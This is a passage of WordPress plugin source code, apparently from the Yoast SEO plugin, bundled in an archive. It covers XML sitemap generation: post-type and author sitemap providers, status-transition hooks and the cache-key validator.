		add_action( 'admin_footer', [ $this, 'status_transition_bulk_finished' ] );

		WPSEO_Sitemaps_Cache::register_clear_on_option_update( 'wpseo_titles', '' );
		WPSEO_Sitemaps_Cache::register_clear_on_option_update( 'wpseo', '' );
	}

	/**
	 * Hooked into transition_post_status. Will initiate search engine pings
	 * if the post is being published, is a post type that a sitemap is built for
	 * and is a post that is included in sitemaps.
	 *
	 * @param string  $new_status New post status.
	 * @param string  $old_status Old post status.
	 * @param WP_Post $post       Post object.
	 *
	 * @return void
	 */
	public function status_transition( $new_status, $old_status, $post ) {
		if ( $new_status !== 'publish' ) {
			return;
		}

		if ( defined( 'WP_IMPORTING' ) ) {
			$this->status_transition_bulk( $new_status, $old_status, $post );

			return;
		}

		$post_type = get_post_type( $post );

		wp_cache_delete( 'lastpostmodified:gmt:' . $post_type, 'timeinfo' ); // #17455.
	}

	/**
	 * Notify Google of the updated sitemap.
	 *
	 * @deprecated 22.0
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function ping_search_engines() {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.0' );
	}

	/**
	 * While bulk importing, just save unique post_types.
	 *
	 * When importing is done, if we have a post_type that is saved in the sitemap
	 * try to ping the search engines.
	 *
	 * @param string  $new_status New post status.
	 * @param string  $old_status Old post status.
	 * @param WP_Post $post       Post object.
	 *
	 * @return void
	 */
	private function status_transition_bulk( $new_status, $old_status, $post ) {
		$this->importing_post_types[] = get_post_type( $post );
		$this->importing_post_types   = array_unique( $this->importing_post_types );
	}

	/**
	 * After import finished, walk through imported post_types and update info.
	 *
	 * @return void
	 */
	public function status_transition_bulk_finished() {
		if ( ! defined( 'WP_IMPORTING' ) ) {
			return;
		}

		if ( empty( $this->importing_post_types ) ) {
			return;
		}

		$ping_search_engines = false;

		foreach ( $this->importing_post_types as $post_type ) {
			wp_cache_delete( 'lastpostmodified:gmt:' . $post_type, 'timeinfo' ); // #17455.

			// Just have the cache deleted for nav_menu_item.
			if ( $post_type === 'nav_menu_item' ) {
				continue;
			}

			if ( WPSEO_Options::get( 'noindex-' . $post_type, false ) === false ) {
				$ping_search_engines = true;
			}
		}

		// Nothing to do.
		if ( $ping_search_engines === false ) {
			return;
		}

		if ( WP_CACHE ) {
			do_action( 'wpseo_hit_sitemap_index' );
		}
	}
}
wordpress-seo/inc/sitemaps/interface-sitemap-provider.php000064400000001443147510273100017721 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Sitemap Provider interface.
 */
interface WPSEO_Sitemap_Provider {

	/**
	 * Check if provider supports given item type.
	 *
	 * @param string $type Type string to check for.
	 *
	 * @return bool
	 */
	public function handles_type( $type );

	/**
	 * Get set of sitemaps index link data.
	 *
	 * @param int $max_entries Entries per sitemap.
	 *
	 * @return array
	 */
	public function get_index_links( $max_entries );

	/**
	 * Get set of sitemap link data.
	 *
	 * @param string $type         Sitemap type.
	 * @param int    $max_entries  Entries per sitemap.
	 * @param int    $current_page Current page of the sitemap.
	 *
	 * @return array
	 */
	public function get_sitemap_links( $type, $max_entries, $current_page );
}
wordpress-seo/inc/sitemaps/class-post-type-sitemap-provider.php000064400000046607147510273100021043 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

use Yoast\WP\SEO\Models\SEO_Links;

/**
 * Sitemap provider for author archives.
 */
class WPSEO_Post_Type_Sitemap_Provider implements WPSEO_Sitemap_Provider {

	/**
	 * Holds image parser instance.
	 *
	 * @var WPSEO_Sitemap_Image_Parser
	 */
	protected static $image_parser;

	/**
	 * Holds the parsed home url.
	 *
	 * @var array
	 */
	protected static $parsed_home_url;

	/**
	 * Determines whether images should be included in the XML sitemap.
	 *
	 * @var bool
	 */
	private $include_images;

	/**
	 * Set up object properties for data reuse.
	 */
	public function __construct() {
		add_action( 'save_post', [ $this, 'save_post' ] );

		/**
		 * Filter - Allows excluding images from the XML sitemap.
		 *
		 * @param bool $include True to include, false to exclude.
		 */
		$this->include_images = apply_filters( 'wpseo_xml_sitemap_include_images', true );
	}

	/**
	 * Get the Image Parser.
	 *
	 * @return WPSEO_Sitemap_Image_Parser
	 */
	protected function get_image_parser() {
		if ( ! isset( self::$image_parser ) ) {
			self::$image_parser = new WPSEO_Sitemap_Image_Parser();
		}

		return self::$image_parser;
	}

	/**
	 * Gets the parsed home url.
	 *
	 * @return array The home url, as parsed by wp_parse_url.
	 */
	protected function get_parsed_home_url() {
		if ( ! isset( self::$parsed_home_url ) ) {
			self::$parsed_home_url = wp_parse_url( home_url() );
		}

		return self::$parsed_home_url;
	}

	/**
	 * Check if provider supports given item type.
	 *
	 * @param string $type Type string to check for.
	 *
	 * @return bool
	 */
	public function handles_type( $type ) {

		return post_type_exists( $type );
	}

	/**
	 * Retrieves the sitemap links.
	 *
	 * @param int $max_entries Entries per sitemap.
	 *
	 * @return array
	 */
	public function get_index_links( $max_entries ) {
		global $wpdb;
		$post_types          = WPSEO_Post_Type::get_accessible_post_types();
		$post_types          = array_filter( $post_types, [ $this, 'is_valid_post_type' ] );
		$last_modified_times = WPSEO_Sitemaps::get_last_modified_gmt( $post_types, true );
		$index               = [];

		foreach ( $post_types as $post_type ) {

			$total_count = $this->get_post_type_count( $post_type );

			if ( $total_count === 0 ) {
				continue;
			}

			$max_pages = 1;
			if ( $total_count > $max_entries ) {
				$max_pages = (int) ceil( $total_count / $max_entries );
			}

			$all_dates = [];

			if ( $max_pages > 1 ) {
				$all_dates = version_compare( $wpdb->db_version(), '8.0', '>=' ) ? $this->get_all_dates_using_with_clause( $post_type, $max_entries ) : $this->get_all_dates( $post_type, $max_entries );
			}

			for ( $page_counter = 0; $page_counter < $max_pages; $page_counter++ ) {

				$current_page = ( $page_counter === 0 ) ? '' : ( $page_counter + 1 );
				$date         = false;

				if ( empty( $current_page ) || $current_page === $max_pages ) {

					if ( ! empty( $last_modified_times[ $post_type ] ) ) {
						$date = $last_modified_times[ $post_type ];
					}
				}
				else {
					$date = $all_dates[ $page_counter ];
				}

				$index[] = [
					'loc'     => WPSEO_Sitemaps_Router::get_base_url( $post_type . '-sitemap' . $current_page . '.xml' ),
					'lastmod' => $date,
				];
			}
		}

		return $index;
	}

	/**
	 * Get set of sitemap link data.
	 *
	 * @param string $type         Sitemap type.
	 * @param int    $max_entries  Entries per sitemap.
	 * @param int    $current_page Current page of the sitemap.
	 *
	 * @return array
	 *
	 * @throws OutOfBoundsException When an invalid page is requested.
	 */
	public function get_sitemap_links( $type, $max_entries, $current_page ) {

		$links     = [];
		$post_type = $type;

		if ( ! $this->is_valid_post_type( $post_type ) ) {
			throw new OutOfBoundsException( 'Invalid sitemap page requested' );
		}

		$steps  = min( 100, $max_entries );
		$offset = ( $current_page > 1 ) ? ( ( $current_page - 1 ) * $max_entries ) : 0;
		$total  = ( $offset + $max_entries );

		$post_type_entries = $this->get_post_type_count( $post_type );

		if ( $total > $post_type_entries ) {
			$total = $post_type_entries;
		}

		if ( $current_page === 1 ) {
			$links = array_merge( $links, $this->get_first_links( $post_type ) );
		}

		// If total post type count is lower than the offset, an invalid page is requested.
		if ( $post_type_entries < $offset ) {
			throw new OutOfBoundsException( 'Invalid sitemap page requested' );
		}

		if ( $post_type_entries === 0 ) {
			return $links;
		}

		$posts_to_exclude = $this->get_excluded_posts( $type );

		while ( $total > $offset ) {

			$posts = $this->get_posts( $post_type, $steps, $offset );

			$offset += $steps;

			if ( empty( $posts ) ) {
				continue;
			}

			foreach ( $posts as $post ) {

				if ( in_array( $post->ID, $posts_to_exclude, true ) ) {
					continue;
				}

				if ( WPSEO_Meta::get_value( 'meta-robots-noindex', $post->ID ) === '1' ) {
					continue;
				}

				$url = $this->get_url( $post );

				if ( ! isset( $url['loc'] ) ) {
					continue;
				}

				/**
				 * Filter URL entry before it gets added to the sitemap.
				 *
				 * @param array  $url  Array of URL parts.
				 * @param string $type URL type.
				 * @param object $post Data object for the URL.
				 */
				$url = apply_filters( 'wpseo_sitemap_entry', $url, 'post', $post );

				if ( ! empty( $url ) ) {
					$links[] = $url;
				}
			}

			unset( $post, $url );
		}

		return $links;
	}

	/**
	 * Check for relevant post type before invalidation.
	 *
	 * @param int $post_id Post ID to possibly invalidate for.
	 *
	 * @return void
	 */
	public function save_post( $post_id ) {

		if ( $this->is_valid_post_type( get_post_type( $post_id ) ) ) {
			WPSEO_Sitemaps_Cache::invalidate_post( $post_id );
		}
	}

	/**
	 * Check if post type should be present in sitemaps.
	 *
	 * @param string $post_type Post type string to check for.
	 *
	 * @return bool
	 */
	public function is_valid_post_type( $post_type ) {
		if ( ! WPSEO_Post_Type::is_post_type_accessible( $post_type ) || ! WPSEO_Post_Type::is_post_type_indexable( $post_type ) ) {
			return false;
		}

		/**
		 * Filter decision if post type is excluded from the XML sitemap.
		 *
		 * @param bool   $exclude   Default false.
		 * @param string $post_type Post type name.
		 */
		if ( apply_filters( 'wpseo_sitemap_exclude_post_type', false, $post_type ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Retrieves a list with the excluded post ids.
	 *
	 * @param string $post_type Post type.
	 *
	 * @return array Array with post ids to exclude.
	 */
	protected function get_excluded_posts( $post_type ) {
		$excluded_posts_ids = [];

		$page_on_front_id = ( $post_type === 'page' ) ? (int) get_option( 'page_on_front' ) : 0;
		if ( $page_on_front_id > 0 ) {
			$excluded_posts_ids[] = $page_on_front_id;
		}

		/**
		 * Filter: 'wpseo_exclude_from_sitemap_by_post_ids' - Allow extending and modifying the posts to exclude.
		 *
		 * @param array $posts_to_exclude The posts to exclude.
		 */
		$excluded_posts_ids = apply_filters( 'wpseo_exclude_from_sitemap_by_post_ids', $excluded_posts_ids );
		if ( ! is_array( $excluded_posts_ids ) ) {
			$excluded_posts_ids = [];
		}

		$excluded_posts_ids = array_map( 'intval', $excluded_posts_ids );

		$page_for_posts_id = ( $post_type === 'page' ) ? (int) get_option( 'page_for_posts' ) : 0;
		if ( $page_for_posts_id > 0 ) {
			$excluded_posts_ids[] = $page_for_posts_id;
		}

		return array_unique( $excluded_posts_ids );
	}

	/**
	 * Get count of posts for post type.
	 *
	 * @param string $post_type Post type to retrieve count for.
	 *
	 * @return int
	 */
	protected function get_post_type_count( $post_type ) {

		global $wpdb;

		/**
		 * Filter JOIN query part for type count of post type.
		 *
		 * @param string $join      SQL part, defaults to empty string.
		 * @param string $post_type Post type name.
		 */
		$join_filter = apply_filters( 'wpseo_typecount_join', '', $post_type );

		/**
		 * Filter WHERE query part for type count of post type.
		 *
		 * @param string $where     SQL part, defaults to empty string.
		 * @param string $post_type Post type name.
		 */
		$where_filter = apply_filters( 'wpseo_typecount_where', '', $post_type );

		$where = $this->get_sql_where_clause( $post_type );

		$sql = "
			SELECT COUNT({$wpdb->posts}.ID)
			FROM {$wpdb->posts}
			{$join_filter}
			{$where}
				{$where_filter}
		";

		return (int) $wpdb->get_var( $sql );
	}

	/**
	 * Produces set of links to prepend at start of first sitemap page.
	 *
	 * @param string $post_type Post type to produce links for.
	 *
	 * @return array
	 */
	protected function get_first_links( $post_type ) {

		$links       = [];
		$archive_url = false;

		if ( $post_type === 'page' ) {

			$page_on_front_id = (int) get_option( 'page_on_front' );
			if ( $page_on_front_id > 0 ) {
				$front_page = $this->get_url(
					get_post( $page_on_front_id )
				);
			}

			if ( empty( $front_page ) ) {
				$front_page = [
					'loc' => YoastSEO()->helpers->url->home(),
				];
			}

			// Deprecated, kept for backwards data compat. R.
			$front_page['chf'] = 'daily';
			$front_page['pri'] = 1;

			$images = ( $front_page['images'] ?? [] );

			/**
			 * Filter images to be included for the term in XML sitemap.
			 *
			 * @param array  $images Array of image items.
			 * @return array $image_list Array of image items.
			 */
			$image_list = apply_filters( 'wpseo_sitemap_urlimages_front_page', $images );
			if ( is_array( $image_list ) ) {
				$front_page['images'] = $image_list;
			}

			$links[] = $front_page;
		}
		elseif ( $post_type !== 'page' ) {
			/**
			 * Filter the URL Yoast SEO uses in the XML sitemap for this post type archive.
			 *
			 * @param string $archive_url The URL of this archive
			 * @param string $post_type   The post type this archive is for.
			 */
			$archive_url = apply_filters(
				'wpseo_sitemap_post_type_archive_link',
				$this->get_post_type_archive_link( $post_type ),
				$post_type
			);
		}

		if ( $archive_url ) {

			$links[] = [
				'loc' => $archive_url,
				'mod' => WPSEO_Sitemaps::get_last_modified_gmt( $post_type ),

				// Deprecated, kept for backwards data compat. R.
				'chf' => 'daily',
				'pri' => 1,
			];
		}

		/**
		 * Filters the first post type links.
		 *
		 * @param array  $links     The first post type links.
		 * @param string $post_type The post type this archive is for.
		 */
		return apply_filters( 'wpseo_sitemap_post_type_first_links', $links, $post_type );
	}

	/**
	 * Get URL for a post type archive.
	 *
	 * @since 5.3
	 *
	 * @param string $post_type Post type.
	 *
	 * @return string|bool URL or false if it should be excluded.
	 */
	protected function get_post_type_archive_link( $post_type ) {

		$pt_archive_page_id = -1;

		if ( $post_type === 'post' ) {

			if ( get_option( 'show_on_front' ) === 'posts' ) {
				return YoastSEO()->helpers->url->home();
			}

			$pt_archive_page_id = (int) get_option( 'page_for_posts' );

			// Post archive should be excluded if posts page isn't set.
			if ( $pt_archive_page_id <= 0 ) {
				return false;
			}
		}

		if ( ! $this->is_post_type_archive_indexable( $post_type, $pt_archive_page_id ) ) {
			return false;
		}

		return get_post_type_archive_link( $post_type );
	}

	/**
	 * Determines whether a post type archive is indexable.
	 *
	 * @since 11.5
	 *
	 * @param string $post_type       Post type.
	 * @param int    $archive_page_id The page id.
	 *
	 * @return bool True when post type archive is indexable.
	 */
	protected function is_post_type_archive_indexable( $post_type, $archive_page_id = -1 ) {

		if ( WPSEO_Options::get( 'noindex-ptarchive-' . $post_type, false ) ) {
			return false;
		}

		/**
		 * Filter the page which is dedicated to this post type archive.
		 *
		 * @since 9.3
		 *
		 * @param string $archive_page_id The post_id of the page.
		 * @param string $post_type       The post type this archive is for.
		 */
		$archive_page_id = (int) apply_filters( 'wpseo_sitemap_page_for_post_type_archive', $archive_page_id, $post_type );

		if ( $archive_page_id > 0 && WPSEO_Meta::get_value( 'meta-robots-noindex', $archive_page_id ) === '1' ) {
			return false;
		}

		return true;
	}

	/**
	 * Retrieve set of posts with optimized query routine.
	 *
	 * @param string $post_type Post type to retrieve.
	 * @param int    $count     Count of posts to retrieve.
	 * @param int    $offset    Starting offset.
	 *
	 * @return object[]
	 */
	protected function get_posts( $post_type, $count, $offset ) {

		global $wpdb;

		static $filters = [];

		if ( ! isset( $filters[ $post_type ] ) ) {
			// Make sure you're wpdb->preparing everything you throw into this!!
			$filters[ $post_type ] = [
				/**
				 * Filter JOIN query part for the post type.
				 *
				 * @param string $join      SQL part, defaults to false.
				 * @param string $post_type Post type name.
				 */
				'join'  => apply_filters( 'wpseo_posts_join', false, $post_type ),

				/**
				 * Filter WHERE query part for the post type.
				 *
				 * @param string $where     SQL part, defaults to false.
				 * @param string $post_type Post type name.
				 */
				'where' => apply_filters( 'wpseo_posts_where', false, $post_type ),
			];
		}

		$join_filter  = $filters[ $post_type ]['join'];
		$where_filter = $filters[ $post_type ]['where'];
		$where        = $this->get_sql_where_clause( $post_type );

		/*
		 * Optimized query per this thread:
		 * {@link http://wordpress.org/support/topic/plugin-wordpress-seo-by-yoast-performance-suggestion}.
		 * Also see {@link http://explainextended.com/2009/10/23/mysql-order-by-limit-performance-late-row-lookups/}.
		 */
		$sql = "
			SELECT l.ID, post_title, post_content, post_name, post_parent, post_author, post_status, post_modified_gmt, post_date, post_date_gmt
			FROM (
				SELECT {$wpdb->posts}.ID
				FROM {$wpdb->posts}
				{$join_filter}
				{$where}
					{$where_filter}
				ORDER BY {$wpdb->posts}.post_modified ASC LIMIT %d OFFSET %d
			)
			o JOIN {$wpdb->posts} l ON l.ID = o.ID
		";

		$posts = $wpdb->get_results( $wpdb->prepare( $sql, $count, $offset ) );

		$post_ids = [];

		foreach ( $posts as $post_index => $post ) {
			$post->post_type      = $post_type;
			$sanitized_post       = sanitize_post( $post, 'raw' );
			$posts[ $post_index ] = new WP_Post( $sanitized_post );

			$post_ids[] = $sanitized_post->ID;
		}

		update_meta_cache( 'post', $post_ids );

		return $posts;
	}

	/**
	 * Constructs an SQL where clause for a given post type.
	 *
	 * @param string $post_type Post type slug.
	 *
	 * @return string
	 */
	protected function get_sql_where_clause( $post_type ) {

		global $wpdb;

		$join          = '';
		$post_statuses = array_map( 'esc_sql', WPSEO_Sitemaps::get_post_statuses( $post_type ) );
		$status_where  = "{$wpdb->posts}.post_status IN ('" . implode( "','", $post_statuses ) . "')";

		// Based on WP_Query->get_posts(). R.
		if ( $post_type === 'attachment' ) {
			$join            = " LEFT JOIN {$wpdb->posts} AS p2 ON ({$wpdb->posts}.post_parent = p2.ID) ";
			$parent_statuses = array_diff( $post_statuses, [ 'inherit' ] );
			$status_where    = "p2.post_status IN ('" . implode( "','", $parent_statuses ) . "') AND p2.post_password = ''";
		}

		$where_clause = "
			{$join}
			WHERE {$status_where}
				AND {$wpdb->posts}.post_type = %s
				AND {$wpdb->posts}.post_password = ''
				AND {$wpdb->posts}.post_date != '0000-00-00 00:00:00'
		";

		return $wpdb->prepare( $where_clause, $post_type );
	}

	/**
	 * Produce array of URL parts for given post object.
	 *
	 * @param object $post Post object to get URL parts for.
	 *
	 * @return array|bool
	 */
	protected function get_url( $post ) {

		$url = [];

		/**
		 * Filter the URL Yoast SEO uses in the XML sitemap.
		 *
		 * Note that only absolute local URLs are allowed as the check after this removes external URLs.
		 *
		 * @param string $url  URL to use in the XML sitemap
		 * @param object $post Post object for the URL.
		 */
		$url['loc'] = apply_filters( 'wpseo_xml_sitemap_post_url', get_permalink( $post ), $post );
		$link_type  = YoastSEO()->helpers->url->get_link_type(
			wp_parse_url( $url['loc'] ),
			$this->get_parsed_home_url()
		);

		/*
		 * Do not include external URLs.
		 *
		 * {@link https://wordpress.org/plugins/page-links-to/} can rewrite permalinks to external URLs.
		 */
		if ( $link_type === SEO_Links::TYPE_EXTERNAL ) {
			return false;
		}

		$modified = max( $post->post_modified_gmt, $post->post_date_gmt );

		if ( $modified !== '0000-00-00 00:00:00' ) {
			$url['mod'] = $modified;
		}

		$url['chf'] = 'daily'; // Deprecated, kept for backwards data compat. R.

		$canonical = WPSEO_Meta::get_value( 'canonical', $post->ID );

		if ( $canonical !== '' && $canonical !== $url['loc'] ) {
			/*
			 * Let's assume that if a canonical is set for this page and it's different from
			 * the URL of this post, that page is either already in the XML sitemap OR is on
			 * an external site, either way, we shouldn't include it here.
			 */
			return false;
		}
		unset( $canonical );

		$url['pri'] = 1; // Deprecated, kept for backwards data compat. R.

		if ( $this->include_images ) {
			$url['images'] = $this->get_image_parser()->get_images( $post );
		}

		return $url;
	}

	/**
	 * Get all dates for a post type by using the WITH clause for performance.
	 *
	 * @param string $post_type   Post type to retrieve dates for.
	 * @param int    $max_entries Maximum number of entries to retrieve.
	 *
	 * @return array Array of dates.
	 */
	private function get_all_dates_using_with_clause( $post_type, $max_entries ) {
		global $wpdb;

		$post_statuses = array_map( 'esc_sql', WPSEO_Sitemaps::get_post_statuses( $post_type ) );

		$replacements = array_merge(
			[
				'ordering',
				'post_modified_gmt',
				$wpdb->posts,
				'type_status_date',
				'post_status',
			],
			$post_statuses,
			[
				'post_type',
				$post_type,
				'post_modified_gmt',
				'post_modified_gmt',
				'ordering',
				$max_entries,
			]
		);

		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_col(
			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
			$wpdb->prepare(
				'
			WITH %i AS (SELECT ROW_NUMBER() OVER (ORDER BY %i) AS n, post_modified_gmt
							  FROM %i USE INDEX ( %i )
							  WHERE %i IN (' . implode( ', ', array_fill( 0, count( $post_statuses ), '%s' ) ) . ')
								 AND %i = %s
							  ORDER BY %i)
			SELECT %i
			FROM %i
			WHERE MOD(n, %d) = 0;
			',
				$replacements
			)
		);
	}

	/**
	 * Get all dates for a post type.
	 *
	 * @param string $post_type   Post type to retrieve dates for.
	 * @param int    $max_entries Maximum number of entries to retrieve.
	 *
	 * @return array Array of dates.
	 */
	private function get_all_dates( $post_type, $max_entries ) {
		global $wpdb;

		$post_statuses = array_map( 'esc_sql', WPSEO_Sitemaps::get_post_statuses( $post_type ) );
		$replacements  = array_merge(
			[
				'post_modified_gmt',
				$wpdb->posts,
				'type_status_date',
				'post_status',
			],
			$post_statuses,
			[
				'post_type',
				$post_type,
				$max_entries,
				'post_modified_gmt',
			]
		);

		return $wpdb->get_col(
			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
			$wpdb->prepare(
				'
			SELECT %i
			    FROM ( SELECT @rownum:=0 ) init
			    JOIN %i USE INDEX( %i )
			    WHERE %i IN (' . implode( ', ', array_fill( 0, count( $post_statuses ), '%s' ) ) . ')
			      AND %i = %s
			      AND ( @rownum:=@rownum+1 ) %% %d = 0
			    ORDER BY %i ASC
			',
				$replacements
			)
		);
	}
}
wordpress-seo/inc/sitemaps/class-author-sitemap-provider.php000064400000013122147510273100020363 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Sitemap provider for author archives.
 */
class WPSEO_Author_Sitemap_Provider implements WPSEO_Sitemap_Provider {

	/**
	 * Check if provider supports given item type.
	 *
	 * @param string $type Type string to check for.
	 *
	 * @return bool
	 */
	public function handles_type( $type ) {
		// If the author archives have been disabled, we don't do anything.
		if ( WPSEO_Options::get( 'disable-author', false ) || WPSEO_Options::get( 'noindex-author-wpseo', false ) ) {
			return false;
		}

		return $type === 'author';
	}

	/**
	 * Get the links for the sitemap index.
	 *
	 * @param int $max_entries Entries per sitemap.
	 *
	 * @return array
	 */
	public function get_index_links( $max_entries ) {

		if ( ! $this->handles_type( 'author' ) ) {
			return [];
		}

		// @todo Consider doing this less often / when necessary. R.
		$this->update_user_meta();

		$has_exclude_filter = has_filter( 'wpseo_sitemap_exclude_author' );

		$query_arguments = [];

		if ( ! $has_exclude_filter ) { // We only need full users if legacy filter(s) hooked to exclusion logic. R.
			$query_arguments['fields'] = 'ID';
		}

		$users = $this->get_users( $query_arguments );

		if ( $has_exclude_filter ) {
			$users = $this->exclude_users( $users );
			$users = wp_list_pluck( $users, 'ID' );
		}

		if ( empty( $users ) ) {
			return [];
		}

		$index      = [];
		$user_pages = array_chunk( $users, $max_entries );

		foreach ( $user_pages as $page_counter => $users_page ) {

			$current_page = ( $page_counter === 0 ) ? '' : ( $page_counter + 1 );

			$user_id = array_shift( $users_page ); // Time descending, first user on page is most recently updated.
			$user    = get_user_by( 'id', $user_id );
			$index[] = [
				'loc'     => WPSEO_Sitemaps_Router::get_base_url( 'author-sitemap' . $current_page . '.xml' ),
				'lastmod' => ( $user->_yoast_wpseo_profile_updated ) ? YoastSEO()->helpers->date->format_timestamp( $user->_yoast_wpseo_profile_updated ) : null,
			];
		}

		return $index;
	}

	/**
	 * Retrieve users, taking account of all necessary exclusions.
	 *
	 * @param array $arguments Arguments to add.
	 *
	 * @return array
	 */
	protected function get_users( $arguments = [] ) {

		global $wpdb;

		$defaults = [
			'capability' => [ 'edit_posts' ],
			'meta_key'   => '_yoast_wpseo_profile_updated',
			'orderby'    => 'meta_value_num',
			'order'      => 'DESC',
			'meta_query' => [
				'relation' => 'AND',
				[
					'key'     => $wpdb->get_blog_prefix() . 'user_level',
					'value'   => '0',
					'compare' => '!=',
				],
				[
					'relation' => 'OR',
					[
						'key'     => 'wpseo_noindex_author',
						'value'   => 'on',
						'compare' => '!=',
					],
					[
						'key'     => 'wpseo_noindex_author',
						'compare' => 'NOT EXISTS',
					],
				],
			],
		];

		if ( WPSEO_Options::get( 'noindex-author-noposts-wpseo', true ) ) {
			unset( $defaults['capability'] ); // Otherwise it cancels out next argument.
			$defaults['has_published_posts'] = YoastSEO()->helpers->author_archive->get_author_archive_post_types();
		}

		return get_users( array_merge( $defaults, $arguments ) );
	}

	/**
	 * Get set of sitemap link data.
	 *
	 * @param string $type         Sitemap type.
	 * @param int    $max_entries  Entries per sitemap.
	 * @param int    $current_page Current page of the sitemap.
	 *
	 * @return array
	 *
	 * @throws OutOfBoundsException When an invalid page is requested.
	 */
	public function get_sitemap_links( $type, $max_entries, $current_page ) {

		$links = [];

		if ( ! $this->handles_type( 'author' ) ) {
			return $links;
		}

		$user_criteria = [
			'offset' => ( ( $current_page - 1 ) * $max_entries ),
			'number' => $max_entries,
		];

		$users = $this->get_users( $user_criteria );

		// Throw an exception when there are no users in the sitemap.
		if ( count( $users ) === 0 ) {
			throw new OutOfBoundsException( 'Invalid sitemap page requested' );
		}

		$users = $this->exclude_users( $users );
		if ( empty( $users ) ) {
			$users = [];
		}

		$time = time();

		foreach ( $users as $user ) {

			$author_link = get_author_posts_url( $user->ID );

			if ( empty( $author_link ) ) {
				continue;
			}

			$mod = $time;

			if ( isset( $user->_yoast_wpseo_profile_updated ) ) {
				$mod = $user->_yoast_wpseo_profile_updated;
			}

			$url = [
				'loc' => $author_link,
				'mod' => date( DATE_W3C, $mod ),

				// Deprecated, kept for backwards data compat. R.
				'chf' => 'daily',
				'pri' => 1,
			];

			/** This filter is documented at inc/sitemaps/class-post-type-sitemap-provider.php */
			$url = apply_filters( 'wpseo_sitemap_entry', $url, 'user', $user );

			if ( ! empty( $url ) ) {
				$links[] = $url;
			}
		}

		return $links;
	}

	/**
	 * Update any users that don't have last profile update timestamp.
	 *
	 * @return int Count of users updated.
	 */
	protected function update_user_meta() {

		$user_criteria = [
			'capability' => [ 'edit_posts' ],
			'meta_query' => [
				[
					'key'     => '_yoast_wpseo_profile_updated',
					'compare' => 'NOT EXISTS',
				],
			],
		];

		$users = get_users( $user_criteria );

		$time = time();

		foreach ( $users as $user ) {
			update_user_meta( $user->ID, '_yoast_wpseo_profile_updated', $time );
		}

		return count( $users );
	}

	/**
	 * Wrap legacy filter to deduplicate calls.
	 *
	 * @param array $users Array of user objects to filter.
	 *
	 * @return array
	 */
	protected function exclude_users( $users ) {

		/**
		 * Filter the authors, included in XML sitemap.
		 *
		 * @param array $users Array of user objects to filter.
		 */
		return apply_filters( 'wpseo_sitemap_exclude_author', $users );
	}
}
wordpress-seo/inc/sitemaps/class-sitemaps-cache-validator.php000064400000022661147510273100020452 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Handles storage keys for sitemaps caching and invalidation.
 *
 * @since 3.2
 */
class WPSEO_Sitemaps_Cache_Validator {

	/**
	 * Prefix of the transient key for sitemap caches.
	 *
	 * @var string
	 */
	public const STORAGE_KEY_PREFIX = 'yst_sm_';

	/**
	 * Name of the option that holds the global validation value.
	 *
	 * @var string
	 */
	public const VALIDATION_GLOBAL_KEY = 'wpseo_sitemap_cache_validator_global';

	/**
	 * The format which creates the key of the option that holds the type validation value.
	 *
	 * @var string
	 */
	public const VALIDATION_TYPE_KEY_FORMAT = 'wpseo_sitemap_%s_cache_validator';

	/**
	 * Get the cache key for a certain type and page.
	 *
	 * A type of cache would be something like 'page', 'post' or 'video'.
	 *
	 * Example key format for sitemap type "post", page 1: wpseo_sitemap_post_1:akfw3e_23azBa .
	 *
	 * @since 3.2
	 *
	 * @param string|null $type The type to get the key for. Null or self::SITEMAP_INDEX_TYPE for index cache.
	 * @param int         $page The page of cache to get the key for.
	 *
	 * @return bool|string The key where the cache is stored on. False if the key could not be generated.
	 */
	public static function get_storage_key( $type = null, $page = 1 ) {

		// Using SITEMAP_INDEX_TYPE for sitemap index cache.
		$type = is_null( $type ) ? WPSEO_Sitemaps::SITEMAP_INDEX_TYPE : $type;

		$global_cache_validator = self::get_validator();
		$type_cache_validator   = self::get_validator( $type );

		$prefix  = self::STORAGE_KEY_PREFIX;
		$postfix = sprintf( '_%d:%s_%s', $page, $global_cache_validator, $type_cache_validator );

		try {
			$type = self::truncate_type( $type, $prefix, $postfix );
		} catch ( OutOfBoundsException $exception ) {
			// Maybe do something with the exception, for now just mark as invalid.
			return false;
		}

		// Build key.
		$full_key = $prefix . $type . $postfix;

		return $full_key;
	}

	/**
	 * If the type is over length make sure we compact it so we don't have any database problems.
	 *
	 * When there are more 'extremely long' post types, changes are they have variations in either the start or ending.
	 * Because of this, we cut out the excess in the middle which should result in less chance of collision.
	 *
	 * @since 3.2
	 *
	 * @param string $type    The type of sitemap to be used.
	 * @param string $prefix  The part before the type in the cache key. Only the length is used.
	 * @param string $postfix The part after the type in the cache key. Only the length is used.
	 *
	 * @return string The type with a safe length to use
	 *
	 * @throws OutOfRangeException When there is less than 15 characters of space for a key that is originally longer.
	 */
	public static function truncate_type( $type, $prefix = '', $postfix = '' ) {
		/*
		 * This length has been restricted by the database column length of 64 in the past.
		 * The prefix added by WordPress is '_transient_' because we are saving to a transient.
		 * We need to use a timeout on the transient, otherwise the values get autoloaded, this adds
		 * another restriction to the length.
		 */
		$max_length  = 45; // 64 - 19 ('_transient_timeout_')
		$max_length -= strlen( $prefix );
		$max_length -= strlen( $postfix );

		if ( strlen( $type ) > $max_length ) {

			if ( $max_length < 15 ) {
				/*
				 * If this happens the most likely cause is a page number that is too high.
				 *
				 * So this would not happen unintentionally.
				 * Either by trying to cause a high server load, finding backdoors or misconfiguration.
				 */
				throw new OutOfRangeException(
					__(
						'Trying to build the sitemap cache key, but the postfix and prefix combination leaves too little room to do this. You are probably requesting a page that is way out of the expected range.',
						'wordpress-seo'
					)
				);
			}

			$half = ( $max_length / 2 );

